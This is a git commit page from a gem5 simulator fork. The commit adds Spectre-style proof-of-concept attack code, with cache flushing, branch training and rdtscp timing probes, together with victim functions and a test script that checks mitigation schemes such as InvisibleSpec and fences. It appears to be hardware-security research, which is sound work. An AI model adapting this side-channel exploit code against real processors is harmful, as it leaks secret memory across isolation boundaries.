summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorIru Cai <mytbk920423@gmail.com>2019-04-10 16:00:23 +0800
committerIru Cai <mytbk920423@gmail.com>2019-05-31 16:03:18 +0800
commitcd184d861f5702e0ec5855e7247584c799bd24a2 (patch)
treefa4dea6b6adf438dca6b023cd7b0cda14807fc0e
parent3fe13600a91d1eb8a353f1ac7455d9a1d977027a (diff)
downloadgem5-cd184d861f5702e0ec5855e7247584c799bd24a2.tar.xz
add attack code and attack test script
-rw-r--r--attack_code/evict_load/attack.c50
-rwxr-xr-xattack_code/evict_load/build.sh4
-rw-r--r--attack_code/evict_load/victim.asm22
-rw-r--r--attack_code/evict_load/victim.c16
-rw-r--r--attack_code/victim_v10/attack_v10.c41
-rwxr-xr-xattack_code/victim_v10/build.sh1
-rw-r--r--attack_code/victim_v10/victim_v10.c17
-rwxr-xr-xattack_test.sh28
8 files changed, 179 insertions, 0 deletions
diff --git a/attack_code/evict_load/attack.c b/attack_code/evict_load/attack.c
new file mode 100644
index 000000000..85a2017f0
--- /dev/null
+++ b/attack_code/evict_load/attack.c
@@ -0,0 +1,50 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <string.h>
+#include <x86intrin.h>
+
+/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */
+#define LLC_SIZE (2 << 20)
+
+uint8_t dummy[LLC_SIZE];
+size_t array_size = 4;
+uint8_t array1[200] = {1, 2, 3, 4};
+uint8_t array2[256 * 64 * 2];
+uint8_t X;
+uint8_t array3[4096];
+uint8_t tmp;
+
+uint8_t victim(size_t idx);
+
+int main()
+{
+ unsigned long t[256];
+ volatile uint8_t x;
+
+ victim(0);
+ victim(0);
+ victim(0);
+ victim(0);
+ victim(0);
+
+ memset(dummy, 1, sizeof(dummy)); // flush L2
+ X = 123; // set the secret value, and also bring it to cache
+
+ _mm_mfence();
+
+ size_t attack_idx = &X - array1;
+ victim(attack_idx);
+
+ for (int i = 0; i < 256; i++) {
+ unsigned int junk;
+ unsigned long time1 = __rdtscp(&junk);
+ x ^= array2[i * 64];
+ unsigned long time2 = __rdtscp(&junk);
+ t[i] = time2 - time1;
+ }
+
+ printf("attack_idx = %ld\n", attack_idx);
+ for (int i = 0; i < 256; i++) {
+ printf("%d: %d, %s\n", i, t[i], (t[i] < 40)? "\x1b[1;31mhit\x1b[m": "miss");
+ }
+}
diff --git a/attack_code/evict_load/build.sh b/attack_code/evict_load/build.sh
new file mode 100755
index 000000000..9cbf27d98
--- /dev/null
+++ b/attack_code/evict_load/build.sh
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+nasm -f elf64 victim.asm
+gcc -static -O2 -o ../../attack attack.c victim.o
diff --git a/attack_code/evict_load/victim.asm b/attack_code/evict_load/victim.asm
new file mode 100644
index 000000000..bd3effbc3
--- /dev/null
+++ b/attack_code/evict_load/victim.asm
@@ -0,0 +1,22 @@
+; code similar to gcc -O2 -c victim.c, working on gem5
+; it doesn't store rdi to stack as -O0
+
+extern array1
+extern array2
+extern array_size
+
+global victim
+
+victim:
+xor eax, eax
+cmp [rel array_size], rdi
+jbe fret
+lea rax, [rel array1]
+add rax, rdi
+movzx eax, byte [rax]
+shl eax, 6
+cdq
+lea rdx, [rel array2]
+mov eax, [rdx + rax]
+fret:
+rep ret
diff --git a/attack_code/evict_load/victim.c b/attack_code/evict_load/victim.c
new file mode 100644
index 000000000..e9d3249bf
--- /dev/null
+++ b/attack_code/evict_load/victim.c
@@ -0,0 +1,16 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <x86intrin.h>
+
+extern uint8_t array1[];
+extern uint8_t array2[];
+extern size_t array_size;
+
+uint8_t victim(size_t idx)
+{
+ if (idx < array_size) {
+ return array2[array1[idx] * 64];
+ }
+ return 0;
+}
+
diff --git a/attack_code/victim_v10/attack_v10.c b/attack_code/victim_v10/attack_v10.c
new file mode 100644
index 000000000..1c1eecd45
--- /dev/null
+++ b/attack_code/victim_v10/attack_v10.c
@@ -0,0 +1,41 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <string.h>
+#include <x86intrin.h>
+
+/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */
+#define LLC_SIZE (2 << 20)
+
+uint8_t dummy[LLC_SIZE];
+size_t array_size = 4;
+uint8_t array1[200] = {1, 2, 3, 4};
+uint8_t array2[256 * 64 * 2];
+uint8_t X;
+uint8_t temp = 1;
+
+void victim_function_v10(size_t x, uint8_t k);
+
+int main()
+{
+ victim_function_v10(0, 0);
+ victim_function_v10(0, 0);
+ victim_function_v10(0, 0);
+ victim_function_v10(0, 0);
+ victim_function_v10(0, 0);
+
+ memset(dummy, 1, sizeof(dummy)); // flush L2
+ X = 123; // set the secret value, and also bring it to cache
+
+ _mm_mfence();
+
+ size_t attack_idx = &X - array1;
+ victim_function_v10(attack_idx, 123);
+
+ unsigned int junk;
+ volatile uint8_t x;
+ unsigned long time1 = __rdtscp(&junk);
+ x ^= array2[0];
+ unsigned long time2 = __rdtscp(&junk);
+
+ printf("%d\n", time2 - time1);
+}
diff --git a/attack_code/victim_v10/build.sh b/attack_code/victim_v10/build.sh
new file mode 100755
index 000000000..07897b62d
--- /dev/null
+++ b/attack_code/victim_v10/build.sh
@@ -0,0 +1 @@
+gcc -O2 -o ../../attack_v10 attack_v10.c victim_v10.c -static
diff --git a/attack_code/victim_v10/victim_v10.c b/attack_code/victim_v10/victim_v10.c
new file mode 100644
index 000000000..193ac750d
--- /dev/null
+++ b/attack_code/victim_v10/victim_v10.c
@@ -0,0 +1,17 @@
+/* code from https://www.paulkocher.com/doc/MicrosoftCompilerSpectreMitigation.html */
+
+#include <stdlib.h>
+#include <stdint.h>
+
+extern size_t array_size;
+extern uint8_t array1[];
+extern uint8_t array2[];
+extern uint8_t temp;
+
+void victim_function_v10(size_t x, uint8_t k)
+{
+ if (x < array_size) {
+ if (array1[x] == k)
+ temp &= array2[0];
+ }
+}
diff --git a/attack_test.sh b/attack_test.sh
new file mode 100755
index 000000000..a50b3bc86
--- /dev/null
+++ b/attack_test.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+
+GEM5="./build/X86_MESI_Two_Level/gem5.opt -q configs/example/se.py --cpu-type=DerivO3CPU --ruby --needsTSO=1 --output=stdout.txt"
+SCMS=(
+"--scheme=UnsafeBaseline"
+"--scheme=SpectreSafeInvisibleSpec --useIFT=0"
+"--scheme=SpectreSafeInvisibleSpec --useIFT=1 --trackBranch=0"
+"--scheme=SpectreSafeInvisibleSpec --useIFT=1 --trackBranch=1"
+"--scheme=SpectreSafeFence --useIFT=0"
+"--scheme=SpectreSafeFence --useIFT=1 --trackBranch=0"
+"--scheme=SpectreSafeFence --useIFT=1 --trackBranch=1"
+)
+
+echo "Testing Spectre PoC victim function"
+for scm in "${SCMS[@]}"
+do
+ echo "$scm"
+ $GEM5 $scm -c attack
+ grep hit stdout.txt && echo unsafe || echo safe
+done
+
+echo "Testing victim function v10"
+for scm in "${SCMS[@]}"
+do
+ echo "$scm"
+ $GEM5 $scm -c attack_v10
+ grep '^[123]' stdout.txt && echo unsafe || echo safe
+done